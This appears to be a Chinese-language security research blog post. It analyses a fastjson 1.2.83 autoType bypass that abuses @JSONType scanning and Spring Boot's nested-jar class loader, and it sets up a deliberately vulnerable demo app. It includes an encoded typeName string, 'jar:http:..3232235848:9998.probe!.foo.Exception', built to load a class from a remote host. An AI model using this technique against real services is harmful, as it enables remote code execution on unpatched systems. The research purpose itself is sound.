fastjson 解析 JSON 时,如果遇到 {“@type”:”类名”} ,会尝试加载这个类并把 JSON 字段映射到类的属性。这个机制叫 autoType。
fastjson 1.2.83 默认关闭了 autoType(防⿊名单绕过),但留下了⼀个注解扫描 @JSONType
核心点就是去扫描传递的这个typeName 通过解析类。如果这个类解析成功然后去扫描有没有@JSONType 注解 。如果有这个注解。那么就给JsonType 设置true
后续的判断如下:
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
}
那么这里就不需要Authtype 检查
这里需要注意的一个点就是
String resource = typeName.replace('.', '/') + ".class";
这里是使用了替换。使用. 替换了/
例如:传递了 com.bt.cn.xxx 那么就会替换成com/bt/cn/xxx
Spring Boot我们在打包成jar的时候运行这个jar命令是 java -jar xxx.jar 这个是运行命令
Spring Boot 打包出来的 Jar 与普通 Java Jar 并不相同
查看打包后的 Jar 可以发现,其内部结构如下:
META-INF/ BOOT-INF/ ├── classes/ └── lib/
• BOOT-INF/classes:项目编译后的 Class
• BOOT-INF/lib:所有第三方依赖 Jar
• META-INF/MANIFEST.MF:Jar 清单文件
MANIFEST.MF文件内容介绍
Manifest-Version: 1.0 Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx Implementation-Title: demo Implementation-Version: 0.0.1-SNAPSHOT Spring-Boot-Layers-Index: BOOT-INF/layers.idx Start-Class: com.example.demo.DemoApplication Spring-Boot-Classes: BOOT-INF/classes/ Spring-Boot-Lib: BOOT-INF/lib/ Build-Jdk-Spec: 1.8 Spring-Boot-Version: 2.7.18 Created-By: Maven JAR Plugin 3.2.2 Main-Class: org.springframework.boot.loader.JarLauncher
看一下文件内容,他指向了org.springframework.boot.loader.JarLauncher
这里说明:
执行
java -jar xxxx
启动的是
org.springframework.boot.loader.JarLauncher
启动的操作如下:
public static void main(String[] args) throws Exception {
(new JarLauncher()).launch(args);
}
跟进这个类查看到底做了什么操作
Spring Boot 会创建一个 自定义类加载器:
LaunchedURLClassLoader
它会:
• 加载 BOOT-INF/classes
• 加载 BOOT-INF/lib
• 将它们组合成一个统一的 ClassLoader
• 设置为当前线程的 ContextClassLoader
• 最后再执行:
Application.main()
LaunchedURLClassLoader 支持jar的格式嵌套。
那么可以使用
jar:http://192.168.1.10/probe!/POC.classl
进行加载class 类。但是有一个问题。就是Fastjson 中 typeName.replace(‘.’, ‘/’) + “.class”; 替换。
那么可以采用IP 地址的十进制整数格式
例如 192.168.1.72 十进制格式就是3232235848 然后// 可以使用..
那么
jar:http://192.168.1.72:9998/probe!/foo/Exception
就变成了
jar:http:..3232235848:9998.probe!.foo.Exception
随便来一个pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.18</version>
<relativePath/>
</parent>
<groupId>com.example</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demo</name>
<description>demo</description>
<properties>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
及其简单的接口
@PostMapping("/fastjson")
public JSONObject parseJson(@RequestBody String body) {
JSONObject json = JSON.parseObject(body);
return json;
}
编译打包一下就好了。
如果觉得麻烦 直接下载 https://www.o2oxy.cn/wp-content/uploads/2026/07/demo-0.0.1-SNAPSHOT.zip
然后直接java -jar 启动即可。(JDK8 )